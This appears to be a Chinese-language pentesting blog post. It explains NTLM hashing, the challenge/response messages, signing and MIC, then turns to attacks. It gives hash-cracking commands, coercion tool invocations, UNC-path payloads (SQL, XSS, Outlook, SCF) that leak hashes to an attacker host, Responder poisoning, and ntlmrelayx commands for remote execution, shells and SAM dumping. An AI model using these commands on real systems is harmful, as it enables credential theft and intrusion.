NTLM - NTLM Attack

coinstorm

NTLM

在windows中不会存储用户的明文密码,只保存用户的密码hash值

  • 本地用户的密码hash存在本地的 %SystemRoot%\system32\config\SAM 数据库文件中,在注册表中的存储位置为 hklm\sam\sam\domains\account\users\

  • 域内用户的密码hash存在域控的ntds.dit文件中

但是在Windows server 2012 R2之前的系统 WDigest 协议会将用户明文密码储存到 lsass.exe 进程中

在渗透测试中导出的密码hash常见格式如下:

账户名:RID:lmhash:nthash:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:35b5a70f68f5ef895d52d15d8d84af6b:::
  • 账户名: Windows的登录用户名

  • RID:账户相关联的相对标识符,SID的一部分,500-999为保留,标准用户RID从1000开始

  • lmhash:即LM hash,aad3b435b51404eeaad3b435b51404ee

  • nthash:即NTLM hash,35b5a70f68f5ef895d52d15d8d84af6b

  • ::: :空字段,可能表示其他额外信息(如用户描述、组等)

LM hash

LM Hash(LAN Manager Hash)是Windows使用的最古老的密码存储,由于允许的字符集有限,因此它们很容易破解。

微软在1993年引入了NT Hash。在Windows 2000版本至2003的版本系统默认使用LM Hash,当密码超过14位时,则使用NT Hash进行存储。而在Windows Visita后,默认情况下只存储NT Hash,LM Hash则不再使用。

如果用户密码为空或者不存储LM Hash的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE,该hash没有任何价值

NTLM hash

NTLM hash是指Windows系统下Security Account Manager(SAM)中保存的用户密码hash,也是PTH中所用到的,注意区别后面的 Net-NTLM hash

从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,其加密算法如下:

  • 先将用户密码转换为十六进制格式,假设用户密码为Admin123456,则转换后为: 41646d696e313233343536
  • 将其转换为unicode格式即后面加 00,则转换后为:410064006d0069006e00310032003300340035003600
  • 使用 MD4 加密生成32位的十六进制数字串,则转化后为:ae4c0d5fb959fda8f4cb1d14a8376af4
# NTLM hash 生成脚本
import binascii
import hashlib

passwd = "Admin123456"
unicode_hex_passwd = passwd.encode('utf-16le')
md4_passwd=hashlib.new("md4",unicode_hex_passwd).digest()
print(binascii.hexlify(md4_passwd))

NTLMv2 hash

NTLMv2 引入了更强的安全性,计算方法更加复杂,包括使用 HMAC-MD5、时间戳、随机数 (nonce)等,具体过程放在了<验证-Authentication> 节中

NTLM 身份认证

当需要进行NTLM 身份认证时,可以分为两类,一是在本地机器直接认证比如登录。二是通过网络在多个计算机之间进行NTLM身份认证。

本地

  1. 当用户注销、重启、锁屏等,操作系统启动 winlogon.exe 显示登陆界面
  2. winlogon.exe 接收到输入的账号密码后,会将密码交给 lsass.exe 进程
  3. lsass将明文密码加密成 NTLM Hash
  4. 与 SAM 数据库比较认证

网络

网络环境下,目前大多数的 Windows 都采用 NTLM 协议认证,NTLM协议认证采用 质询/应答 或 挑战/响应(Challenge/Response)的消息交换模式,由三种类型的消息组成:

  • Type1 协商(Negotiate)
  • Type2 质询(Challenge)
  • Type3 认证(Authentication)

NTLM 的网络认证还可以分为 工作组环境下的认证域环境下的认证

工作组基本流程:

协商后流程

  • Negotiate:ClientA 向 ServerB 发送一个认证请求。
  • Challenge:ServerB接收到请求后,生成一个16位的随机 挑战值(Challenge)明文发送回ClientA。
  • Authentication:ClientA收到Challenge后会生成一个 响应值(Response),响应值的生成方式:认证用户的NTLM hash 和 Challenge 结合进行加密运算得到,随后将 Response、Username 发给ServerB。
  • ServerB 收到Response后会检查 ClientA 发送的username,并在 SAM 中查找对应的 NTLM hash(ServerB中存储有许多登录用户名和对应的密码hash),将该用户NTLM hash 与 challeng使用相同的加密运算得到一个 新的Response,两个Response比对,相同代表认证通过。

域环境基本流程:

所有的流程基本与工作组类似,只不过用户hash在域控的NTDS.DIT中,并且Server端会和域控之间使用 Netlogon 服务建立安全通道将认证交由域控处理

协商后流程

NTLM 网络认证流量分析

实验环境为域环境,Win7 通过 net use \\192.168.1.10 "password" /user:test\zhangsan 向Win Server 2019 发起NTLM 认证

抓包从上往下简单介绍

  • Negotiate Protocol Request/Response 这两条消息并不直接涉及 NTLM 身份认证的内容,它们属于 SMB 协议的初步协商 阶段,用于确定客户端和服务器可以使用哪些协议特性和版本
  • 方框内为 NTLM 三步认证流程
  • 椭圆内为域内使用 Netlogon 将认证交由域控

image-20250818223046669

下面分析认证的三个数据包,具体详细字段解释当然是查看微软官方文档^1

协商-Negotiate

NEGOTIATE_MESSAGE 消息字段

长度 字段名 解释
8B Signature ‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’
4B MessageType 0x00000001
4B NegotiateFlags NEGOTIATE结构体,用于客户端指示其支持的选项
8B DomainNameFields Domain信息,取决于NegotiateFlags
8B WorkstationFields WorkStation信息,取决于NegotiateFlags
8B Version VERSION结构体,包含发送消息系统的粗略版本信息
variable Payload 包含 DomainNameBuffer、WorkstationBuffer具体的值

image-20250818230212349

质询-Challenge

CHALLENGE_MESSAGE 消息字段

长度 字段名 解释
8B Signature ‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’
4B MessageType 0x00000002
4B TargetNameFields 尝试进行身份验证的目标系统或域,具体值在Payload字段后
4B NegotiateFlags NEGOTIATE结构体,根据客户端提供的选项做出的选择
8B ServerChallenge 返回的Challenge
8B Reserved 0000000000000000
8B TargetInfoFields 尝试进行身份验证目标系统的主机信息,具体值在Payload字段后
8B Version VERSION结构体,包含发送消息系统的粗略版本信息
variable Payload 包含 TargetNameBuffer 和 TargetInfoBuffer(AV_PAIR 结构体)

红框为Payload

image-20250818232913781

验证-Authentication

AUTHENTICATE_MESSAGE 消息字段

长度 字段名 解释
8B Signature ‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’
4B MessageType 0x00000003
8B LmChallengeResponseFields(LM/LMv2 Response) 早期LM-Response,可以理解基本弃用
8B NtChallengeResponseFields(NTLM/NTLMv2 Response) 就是所说的 Response,重要
8B DomainNameFields Domain信息
8B UserNameFields 要认证的用户名
8B WorkstationFields WorkStation信息
8B EncryptedRandomSessionKeyFields 加密后的Session Key(Session Key 是随机生成的,用于后续安全通信)
4B NegotiateFlags NEGOTIATE结构体
8B Version VERSION结构体,包含发送消息系统的粗略版本信息
16B MIC 校验和防止这个包中途被修改
variable Payload 包含 LmChallengeResponseBuffer、NtChallengeResponseBuffer、DomainNameBuffer、UserNameBuffer、WorkstationBuffer、EncryptedRandomSessionKeyBuffer

image-20250819004904641

红方框中的详细内容:

image-20250821000917467

在发送Type3响应Type 2 challenge时,client会生成一种或多种类型的 Responses,总共有六种:

  • LM (LAN Manager) Response:由大多数旧客户端发送,这是 原始 响应类型
  • NTLM Response:由基于 NT 的客户端发送,包括 Windows 2000 和 XP
  • NTLMv2 Response:一种较新的响应类型,在 Windows NT Service Pack 4 中引入。它在启用了NTLM V2的系统上取代了的NTLM响应
  • LMv2 Response :NTLM V2系统上 LM 响应的替代品
  • NTLM2 Session Response:在没有 NTLMv2 身份验证的情况下协商 NTLM2 会话安全性时使用,此方案会改变 LM 和 NTLM 响应的语义
  • Anonymous Response:在建立匿名上下文时使用;不提供实际凭据,也不进行真正的身份验证

不同类型的Response有不同生成流程^2 ,这里看两个 NTLM ResponseNTLMv2 Response


NTLM Response

将16字节的 NTLM hash 空填充为 21 个字节,然后分成三组,每组7字节,作为DES加密算法的三组密钥,加密Type 2中的Challenge,生成三组8字节的密文结果,将这三个密文值连接起来得到 NTLM Response

NTLMv2 Response

启用 NTLMv2 后,NTLM 响应将被 NTLMv2 响应替换,而 LM 响应也将替换为 LMv2 响应。NTLMv2响应的计算方式如下

  • 获取 NTLM Hash
  • 将Unicode后 大写用户名、Unicode后 区分大小写的身份验证目标(在Type 3消息的 ‘TargetName’ 字段中指定的域或服务器名称)拼在一起,将NTLM Hash作为 HMAC-MD5 算法密钥进行加密生成16字节密文(这就是 NTLMv2 hash)
  • 创建一个 blob 数据块
Description Content
0 Blob Signature 0x01010000
4 Reserved long (0x00000000)
8 Timestamp Little-endian, 64-bit signed value representing the number of tenths of a microsecond since January 1, 1601.
16 Client Nonce 8 bytes
24 Unknown 4 bytes
28 Target Information Target Information block (from the Type 2 message).
(variable) Unknown 4 bytes
  • 将 Type2中的challenge 、blob 拼在一起,将NTLMv2 Hash作为 HMAC-MD5 算法密钥进行加密生成16字节输出密文(NTproofstring)
  • 将 输出密文(NTproofstring)、blob拼接 得到 NTLMv2 Response

image-20250824095728291

Net-NTLM hash

首先 Net-NTLM hash 不是微软官方文档中的标准术语,它只是渗透测试和密码破解工具中采用的一种通用表示方法

大部分文章都写的是:Net-NTLM hash在Response中,个人感觉不是很严谨会造成歧义,应该说:在Type3 Response中存在组成Net-NTLM hash的各个部分

既然前面说到有不同的Response 类型,Net-NTLM hash 就有不同的构造方式,主要看两个:NTLM Response 和 NTLMv2 Response

# Net-NTLM v1 Hash 
username::hostname:LM responce:NTLM responce:Type2-challenge

# Net-NTLM v2 Hash
username::domain:Type2-challenge:NTproofstring:blob

手动构造一下 Net-NTLM v2 Hash:

  • username:zhangsan
  • domain:test
  • challenge:bd639079c7fcae13
  • NTproofstring:e9218482a856c8ea91acdb2955e3ad19
  • blob: 0101000000000000de63a3a05c0fdc014c7821cf994e9fcd0000000002000800540045005300540001000a004d005300530051004c000400100074006500730074002e0063006f006d0003001c004d005300530051004c002e0074006500730074002e0063006f006d000500100074006500730074002e0063006f006d0007000800de63a3a05c0fdc01060004000200000008003000300000000000000000000000002000006ca4ab8eb09638f83f178c8c95150701240ef36ed3142205bcb6443442678d480a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100300030002e00310033003100000000000000000000000000
zhangsan::test:bd639079c7fcae13:e9218482a856c8ea91acdb2955e3ad19:0101000000000000de63a3a05c0fdc014c7821cf994e9fcd0000000002000800540045005300540001000a004d005300530051004c000400100074006500730074002e0063006f006d0003001c004d005300530051004c002e0074006500730074002e0063006f006d000500100074006500730074002e0063006f006d0007000800de63a3a05c0fdc01060004000200000008003000300000000000000000000000002000006ca4ab8eb09638f83f178c8c95150701240ef36ed3142205bcb6443442678d480a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100300030002e00310033003100000000000000000000000000

通过hashcat爆破验证一下

hashcat -m 5600 hash.txt crack.txt --force

john hash.txt -wordlist=crack.txt
john hash.txt --show

image-20250822030647548

SSP & SSPI

SSPI(安全支持提供程序接口,Security Support Provider Interface) ,这是 Windows 定义的一套接口,此接口定义了与安全有关的 功能函数,包括

  • AcquireCredentialsHandle

  • InitializeSecurityContext

  • AcceptSecurityContext

用来获得验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,会话安全等。

SSP(安全支持提供者,Security Support Provider),在系统层面,SSP就是一个dll,对SSPI相关功能函数的具体实现。比如 NTLM SSP 实现的就是一种 Challenge/Response 验证机制。而 Kerberos 实现的就是基于 ticket 的身份验证机制。微软自己实现了如下的 SSP,用于提供安全功能:

  1. NTLM SSP
  2. Kerberos SSP
  3. Cred SSP
  4. Digest SSP
  5. Negotiate SSP
  6. Schannel SSP
  7. Negotiate Extensions SSP
  8. PKU2U SSP

这里看一下 NTLM认证过程中 客户端和服务器都会用到的SSPI中的函数

  1. 客户端通过 AcquireCredentialsHandle 函数获取用户凭据集的表示形式。
  2. 客户端调用 InitializeSecurityContext 函数获取身份验证请求令牌(在本例中为Type1 NEGOTIATE),客户端将此令牌发送到服务器。
  3. 服务器从客户端接收令牌,并将其作为 AcceptSecurityContext 函数的输入。这将在服务器上创建一个 本地安全上下文 来代表客户端,并生成一个身份验证响应令牌(Type2 CHALLENGE),该令牌将发送给客户端。
  4. 客户端从服务器接收响应令牌,并再次调用 InitializeSecurityContext 函数,并将服务器的令牌作为输入传递。这为我们提供了另一个身份验证请求令牌(Type3 AUTHENTICATE)返回值表明安全上下文已成功初始化。
  5. 服务器从客户端接收令牌,并使用令牌(Type 3)作为输入,再次调用 AcceptSecurityContext,返回值表示上下文已成功接受。不再生成令牌,身份验证完成。

SSPI有什么作用?其实就是从底层SSP抽象出来了几个统一函数用来身份验证,只要几个函数能够被正确的调用,就可以不用关心下层的具体发了什么消息结构(例如NTLM中发送的消息结构为 Type 1/2/3,换成kerberos就不一样的结构了),这个抽象的、指向宽泛的消息结构被称为 Opaque Token(不透明令牌)

image-20250823134751690

这一点非常重要,因为它清楚地表明了应用层(HTTP、SMB、SQL 等)与身份验证层(NTLM、Kerberos 等)完全独立,因此可以说NTLM也是个嵌入式协议,可以嵌入到上层协议中,我做了个简单的示意图

image-20250823141317389

以java8 的 sun.net.www.protocol.http.HttpURLConnection 支持HTTP进行NTLM认证为例

image-20250823143751980

最后通过JNI调用SSPI函数

image-20250823144012488

会话密钥

当认证完毕,在双方 协商启用会话签名 情况下,客户端和服务端使用一个都知道的 会话密钥(session key) 对后续所有的消息进行签名加/解密。那么双方是怎么获取到同一个会话密钥的呢?过程如下:

  • exportedsessionkey:会话密钥(session key),客户端随机生成

  • keyexchangekey:用于加密exportedsessionkey的字符串,其需要 用户密码、challenge等信息经过加密算法生成

  • encryptedRandomSessionKey:通过 keyexchangekey 作为 RC4-key 加密 exportedsessionkey 得到,放在Type3消息中(Wireshark显示的 Session Key 字段,也是官方字段 EncryptedRandomSessionKeyFields)。服务端拿到这个,计算出 keyexchangekey 再运算得到exportedsessionkey,成功获得一致的会话密钥

所以当攻击者想要修改消息时,必须要获取会话密钥,但是没有用户密码就没有keyexchangekey,没有keyexchangekey就没法解密出会话密钥,所以就没法修改消息,保证了会话不被篡改。

会话签名

会话签名是一种强大但有限的针对 NTLM 中继的缓解措施,只有 SMB 和 LDAP 可以使用。这里还要提醒,会话签名保护的是后续会话的完整性,而不是保护前期身份验证的完整性

image-20250823191548974

上面说开启会话签名的情况会进行签名,那么客户端、服务端是怎么开启的?在什么时候开启的?能不能不开启?

这里给出简短的结论:会话签名是否开启是在 NTLM 身份验证期间协商出来的,是根据双方 SMB/LDAP的版本/状态 来决定是否开启的

针对会话签名状态基本有三种表达

  • 禁用(Disabled):这意味着签名不受管理
  • 启用(Enabled):可以在需要时处理签名,但不强制签名
  • 必填(Required):支持并强制签名

SMB

首先一个SMB签名总结图:SMBv1 默认状态为 禁用(Disabled)

image-20250823194239465

在 SMBv1 中,Server 的默认设置为 禁用(Disabled),在SMBv2或更高弃用了Disabled,Server 的默认状态为:启用(Enabled)

可以通过注册表查询

reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v RequireSecuritySignature
RequireSecuritySignature REG_DWORD 0x0

reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v EnableSecuritySignature
EnableSecuritySignature REG_DWORD 0x1

回到<NTLM 网络认证流量分析>中提到SMB其实是有三个大部分

image-20250823193006797

  • 在协商阶段,双方分别表明自己的要求:是否要求其中一方签名

  • 在认证阶段,双方表明各自支持的内容:是否有能力签名

  • 在会话阶段,如果 要求能力 兼容,则根据协商的结果进行会话

以域内两台普通机器为例:A -> B 表明自己Enabled签名,但是不要求签名

image-20250823193247243

B-> A 也表明自己Enabled签名,但是不要求签名

image-20250823193354008

在认证阶段 客户端和服务器 双方将 NEGOTIATE_SIGN 标志全都设置为 1 ,因为它们都支持签名

image-20250823193604385

后续签名为空

image-20250823194939696

域控对SMB签名虽然默认状态为 启用(Enabled),但组策略强制对SMB进行签名

image-20250831223526784

LDAP

LDAP状态略微不同:LDAP默认状态为 协商签名(Negotiated Signing),是否签名是由客户端决定的,因此LDAP数据都默认签名

  • 禁用(Disabled): 不支持数据包签名
  • 协商签名(Negotiated Signing):可以处理签名,如果与其通信的机器也支持签名,则将被签名
  • 必需(Required): 支持并强制签名

image-20250823195859756

身份验证签名/MIC

既然NTLM协商阶段决定了是否开启会话,是不是能通过破坏身份验证的完整性、修改认证包来禁用会话签名,比如NEGOTIATE_SIGN?实则不然。

引出了一个保护身份验证阶段的签名:消息完整性代码(Message Integrity Code)—MIC,用于保护身份认证消息的完整性!

MIC 是一个签名存在于Type 3 消息中,MIC的计算方式如下:计算过程使用了 会话密钥+Type 1/2/3,因此攻击者无法重新计算MIC

HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)

如果直接移除 MIC是不行的因为还有另一个标志 msAvFlags 指示 MIC 存在。它也存在于 Type3中的blob,如果它是 0x00000002,则告诉服务器必须存在 MIC

image-20250823234941709

如果我们将其设置 msAcFlags 为 0,并移除 MIC,这也是不行的,因为此时blob被修改,将导致NTproofstring无效从而整个NTLMv2 Response无效

image-20250823235126452

总结就是:MIC 保护 3 条消息的完整性,blob中msAvFlags标志保护 MIC 的存在性,NTLMv2 Response 保护标志的存在性。

但是有一些CVE漏洞能够在目标上操作跨协议取消签名中继

  • 删除 MIC(CVE-2019-1040)
  • 删除 MIC 2(CVE-2019-1166)
  • 窃取会话密钥(CVE-2019-1019)

通道绑定/EPA

通道绑定(channel binding)或 EPA(身份验证的扩展保护)可以使用以下两种缓解措施中的一种或两种,为不支持会话签名的协议(如 HTTPS 和 LDAPS)提供针对 NTLM 中继的缓解:

  • TLS Binding:当有 TLS 通道需要绑定(HTTPS、LDAPS)时,需要通道绑定令牌 (CBT)
  • Service Binding:以服务主体名称 (SPN) 形式呈现的服务绑定信息,通常在没有可绑定的 TLS 通道 (HTTP) 时出现

跨协议Relay-签名图

NTLM 身份验证消息嵌入在 SMB、HTTP、MSSQL、SMTP、IMAP 等应用协议的数据包中。LM 和 NTLM 身份验证协议独立于应用协议。这意味着可以通过某个协议(例如 HTTP)或另一个协议(例如 SMB)中继 LM 或 NTLM 身份验证消息。这称为 跨协议 LM/NTLM 中继。这也意味着可能的中继和攻击取决于身份验证消息所嵌入的应用协议。

由于客户端/服务端不同的服务(SMB、LDAP、HTTP等)针对签名要求不相同,因此在跨协议组合时会产生各种 “签名兼容性”

小结各协议特点:

  • SMB:SMB签名以 最低要求 的方式工作。如果客户端或服务器都不需要签名,则不会对会话进行签名,域控默认需要smb签名,而其他域机器默认不开启
  • LDAP:默认情况下LDAP服务器为域控,默认策略是协商签名,而不是强制签名,即 是否签名是由客户端决定的。微软于 2020 年 1 月发布安全更新,强制开启所有域控制器上 LDAP channel bindingLDAP signing 功能
  • webdav、HTTP:不要求签名

下面的 跨协议中继-签名图 表示了:跨协议情况下,不同签名要求之间能否完成认证

默认下,SMB无法 Relay 到 LDAP:LDAP server默认开启 协商签名(Negotiated Signing),因此如果客户端的NEGOTIATE_SIGN为1,那么LDAP server会开启会话签名,在Windows SMB client中默认NEGOTIATE_SIGN为1,所以无法从SMB relay 到 ldap

NTLM 跨协议中继的整体攻击路径:

攻击面

NTLM 的一些攻击面

Crack-破解

1. NTLM hash:

hashcat -m 1000 ntlm.txt
or
直接cmd5在线解密

2. NTLMv2 hash/Net-NTLM v2 Hash

hashcat -m 5600 hash.txt crack.txt --force

john hash.txt -wordlist=crack.txt
john hash.txt --show

3.Net-NTLM v1 Hash

针对 Net-NTLM v1 Hash 需要搭配降级攻击 破解还原出 NTLM hash

Downgrade-降级攻击

参见参考,通过降级攻击衍生出的在不触及LSASS的情况下获取NTLM hash的攻击手段 Internal-Monologue^3,其基本原理为:通过修改注册表设置强制系统使用Net NTLMv1进行身份验证,然后本地调用NTLM认证包(MSV1_0),模拟目标用户的网络登录过程,从而获取NTLMv1 Response 并计算对应的NTLM hash

PTH

针对 NTLM hash的横向利用,这篇文章不再记录

后续单独写一篇文章关于PTH中一些细节: UAC、LocalAccountTokenFilterPolicy、FilterAdministratorToken、KB2871997补丁、PTH的防御方法

CVE漏洞

关于NTLM的CVE,个人感觉分为三大类:发起NTLM请求、绕过签名完整性检查、Reflect

发起NTLM请求:

  • PetitPotam 等基于协议强制请求
  • CVE-2018-8581、CVE-2025-24071、CVE-2025-24054 等基于各种应用诱导性请求

绕过签名完整性检查:

  • CVE-2015-0005

  • 删除 MIC(CVE-2019-1040)

  • 删除 MIC 2(CVE-2019-1166)

  • 窃取会话密钥(CVE-2019-1019)

Reflect:

  • MS08-068
  • MS16-075、CVE-2019-1384(Ghost potato)等各种土豆系列
  • CVE-2025-33073

NTLM Relay

Net-NTLM Hash v2 无法破解时可以尝试针对 Net-NTLM hash 的中继攻击:NTLM Relay(以下所称的 NTLM hash 实际均为 Net-NTLM hash),能否进行Relay攻击取决后续会话签名条件,如果都开启了签名是无法同服务端进行会话的,也就无法实现攻击操作(在不使用CVE情况下)

image-20250824180908581

攻击主要分为两部分:

  • 获取Net-NTLM hash的方式
  • 获取Net-NTLM hash的后续 Relay 利用

Net-NTLM hash获取

有以下几种主要方式让目标机器主动或被动发起NTLM请求,然后我们捕获NTLM hash后进行后续中继攻击

可以使用 responder 来捕获hash

responder -I eth1 -v

强制认证

通过以下几种 漏洞/特性/bug 强制目标主机发起身份认证

PrinterBug

原理:MS-RPRN协议,通过触发 SpoolService 错误,强制目标通过 RPC 接口向攻击者进行身份验证

条件:打印服务开启 - spoolsv.exe

poc:https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

python3 printerbug.py hack.lab/admin:password@<target> <listener>

PetitPotam

原理:MS-EFSRPC 协议,通过修改EfsRpcOpenFileRaw() 中的 FileName 参数劫持认证会话,强制服务器进行验证

条件:目标支持 MS-EFSR 协议 PetitPotam

poc:https://github.com/topotam/PetitPotam

PetitPotam 在2008、2012低版本环境下可无需用户匿名触发

python3 PetitPotam.py -u admin -p password -d hack.lab <listener> <target>
python3 PetitPotam.py -u 'WIN19$' -hashes :c38ca.. -d test.com -dc-ip 172.22.4.7 WIN19.test.com 172.22.4.7

DFSCoerce

原理:MS-EFSRPC 协议中的RPC接口来触发强制认证

条件:域内启用 MS-DFSNM 协议、只对域控有效

poc:https://github.com/Wh04m1001/DFSCoerce

python3 dfscoerce.py -u admin -p password -d hack.lab <listener> <target>
python3 dfscoerce.py -u 'WIN19$' -hashes :c38ca39.. -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab 172.22.4.7

ShadowCoerce

原理:MS-FSRVP协议中一种依赖于远程UNC路径的特定方法来实现强制验证 IsPathSupported() 和 IsPathShadowCopied()

条件:开启MS-FSRVP协议、安装了文件服务器VSS代理服务

poc:https://github.com/ShutdownRepo/ShadowCoerce

python3 shadowcoerce.py -u admin -p password -d hack.lab <listener> <target>

PrivExchange

原理:Exchange中提供了网络服务API - PushSubscription,允许订阅推送通知,利用该API使Exchange服务器对指定目标进行强制认证

条件:目标为Exchange,且未打补丁、拥有一个带有邮箱的域用户凭据信息

poc:https://github.com/dirkjanm/privexchange/

python3 privexchange.py -u admin -p password -d hack.lab -ah <listener> <exchange server>

综合利用

https://github.com/p0dalirius/Coercer ,通过多种方法自动强制 Windows 服务器在任意机器上进行身份验证

分析目标服务器可利用的接口,使用 –analyze 参数

python3 Coercer.py -u admin -p password -d hack.lab -l <listener> -t <target> --analyze

常规

Mysql

select load_file('\\\\<Kali address>\\mysql');

Mssql

xp_dirtree "\\<Kali address>\aaa.com"

XSS

<script src="\\<Kali address>\xss">

xxe/ssrf 等能发起请求的web漏洞

例如: WEBDAV

系统命令

# 未验证
net.exe use \\host\shareFload
attrib.exe \\host\shareFload
bcdboot.exe \\host\shareFload
bdeunlock.exe \\host\shareFload
cacls.exe \\host\shareFload
certreq.exe \\host\shareFload #(noisy, pops an error dialog)
certutil.exe \\host\shareFload
cipher.exe \\host\shareFload
ClipUp.exe -l \\host\shareFload
cmdl32.exe \\host\shareFload
cmstp.exe /s \\host\shareFload
colorcpl.exe \\host\shareFload #(noisy, pops an error dialog)
comp.exe /N=0 \\host\shareFload \\host\shareFload
compact.exe \\host\shareFload
control.exe \\host\shareFload
convertvhd.exe -source \\host\shareFload -destination \\host\shareFload
Defrag.exe \\host\shareFload
diskperf.exe \\host\shareFload
dispdiag.exe -out \\host\shareFload
doskey.exe /MACROFILE=\\host\shareFload
esentutl.exe /k \\host\shareFload
expand.exe \\host\shareFload
extrac32.exe \\host\shareFload
FileHistory.exe \\host\shareFload #(noisy, pops a gui)
findstr.exe * \\host\shareFload
fontview.exe \\host\shareFload #(noisy, pops an error dialog)
fvenotify.exe \\host\shareFload #(noisy, pops an access denied error)
FXSCOVER.exe \\host\shareFload #(noisy, pops GUI)
hwrcomp.exe -check \\host\shareFload
hwrreg.exe \\host\shareFload
icacls.exe \\host\shareFload
licensingdiag.exe -cab \\host\shareFload
lodctr.exe \\host\shareFload
lpksetup.exe /p \\host\shareFload /s
makecab.exe \\host\shareFload
msiexec.exe /update \\host\shareFload /quiet
msinfo32.exe \\host\shareFload #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\shareFload #(noisy, invalid path to png error)
msra.exe /openfile \\host\shareFload #(noisy, error)
mstsc.exe \\host\shareFload #(noisy, error)
netcfg.exe -l \\host\shareFload -c p -i foo

CVE漏洞

最近时间的 Windows 文件资源管理器欺骗漏洞(CVE-2025-24071、CVE-2025-24054)解压文件时导致泄露NTLM hash

image-20250511230839855

诱导

PDF文件

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件,https://github.com/3gstudent/Worse-PDF

Office文件

修改document.xml.rels,和 word/excel2XXE类似

将Target参数修改为UNC路径,然后加上 TargetMode="External"

Outlook邮件

发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC

<img src="\\172.16.100.1\outlook">

desktop.ini文件

当更改文件夹图标时会生成desktop.ini,修改 IconResource路径

image-20250511223658508

SCF文件

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标

[Shell]
Command=2
IconFile=\\192.168.100.133\scf\test.ico
[Taskbar]
Command=ToggleDesktop

写入到test.scf并放到某文件夹下,访问文件夹

image-20250511225259723

网络欺骗

LLMNR/NBT-NS/(M)DNS Poisoning

链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

Windows系统名称解析顺序:

本地缓存
Hosts文件
DNS服务器
NBNS (NetBIOS Name Service)广播
LLMNR / mDNS (局域网名解析)

当用户输入 不存在、包含错误、DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析会失败,此时就会退回LLMNR和NetBIOS进行对链路内存在的主机进行广播查询。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。

受害机以本地管理员Administrator 访问

\\whatevers

攻击机 -A 参数会分析 LLMNR 和 NBT-NS 请求有哪些机器被欺骗到

responder -I eth1 -A

image-20250824233010762

去除-A参数,重新欺骗

responder -I eth1

image-20250824233630498

Net-NTLM hash利用

利用主要分为两部分:

  • Relay 到其他机器
  • Relay 到自己,即 NTLM Reflect

签名扫描

Relay前进行 签名信息的扫描 还是比较重要的,不然失败都不知道原因

cme/nxc:

crackMapExec/netexec smb 192,168.100.130

image-20250824234703206

PsMapExec

PsMapExec -Targets all -Method GenRelayList

image-20250831224959923

RunFinger:responder下脚本

# 不知为何 DC 没扫出来签名
┌──(root㉿kali)-[/usr/share/responder/tools]
└─# python3 RunFinger.py -f /home/h4ck/Desktop/ips.txt

[SMB2]:['192.168.100.128', Os:'Windows 8.1/Server 2012R2', Build:'9600', Domain:'TEST', Bootime: '2025-01-29 02:02:12', Signing:'False', RDP:'False', SMB1:'True', MSSQL:'False']
[SMB2]:['192.168.100.130', Os:'Windows 7/Server 2008R2', Build:'7601', Domain:'TEST', Bootime: '2025-08-17 05:40:33', Signing:'False', RDP:'False', SMB1:'True', MSSQL:'False']
[SMB2]:['192.168.100.131', Os:'Windows 10/Server 2016/2019 (check build)', Build:'17763', Domain:'TEST', Bootime: 'Unknown', Signing:'False', RDP:'False', SMB1:'False', MSSQL:'True']

LdapRelayScan:https://github.com/zyn3rgy/LdapRelayScan

└─$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.100.128 -u tom -p Ab123456

Domain Controllers identified~
dc-1.test.com

~Checking DCs for LDAP NTLM relay protections~
dc-1.test.com
[+] (LDAP) SERVER SIGNING REQUIREMENTS NOT ENFORCED!

NTLM Relay

下面的各种Relay2 都是展示了将流量中继到不同协议的怎么利用思路:中继到不同协议能干什么事情。关于 Relay 的利用工具,基本会用到这几个

smbrelayx.py - impacket
ntlmrelayx.py - impacket
MultiRelay.py - responder

实验机器:

kali - 192.168.100.133

DC - 192.168.100.128

win7 - 192.168.100.130

2019 - 192.168.100.131

Relay2SMB

SMB 中继是最直接最有效的方法 (包括但不限于执行命令、上传执行exe、dump hash等),但是SMB是需要看发起请求账号的权限,比如普通域用户A一般情况没有对机器B具有管理权限,因此无法通过relay去横向B

# 命令执行
impacket-ntlmrelayx -t smb://<target> --no-http-server --no-wcf-server --no-raw-server -smb2support -c whoami

# 远程导SAM dump local hash
impacket-ntlmrelayx -t smb://<target> --no-http-server --no-wcf-server --no-raw-server -smb2support

# interactive shell
impacket-ntlmrelayx -t smb://<target> --no-http-server --no-wcf-server --no-raw-server -smb2support -i

# execute EXE
impacket-ntlmrelayx -t smb://<target> --no-http-server --no-wcf-server --no-raw-server -smb2support -e beacon.exe

# 批量 relay
impacket-ntlmrelayx -tf ips.txt -of res.txt --no-http-server --no-wcf-server --no-raw-server -smb2support

# socks代理,中继成功就会在本地 1080 监听端口自动维持会话有效性
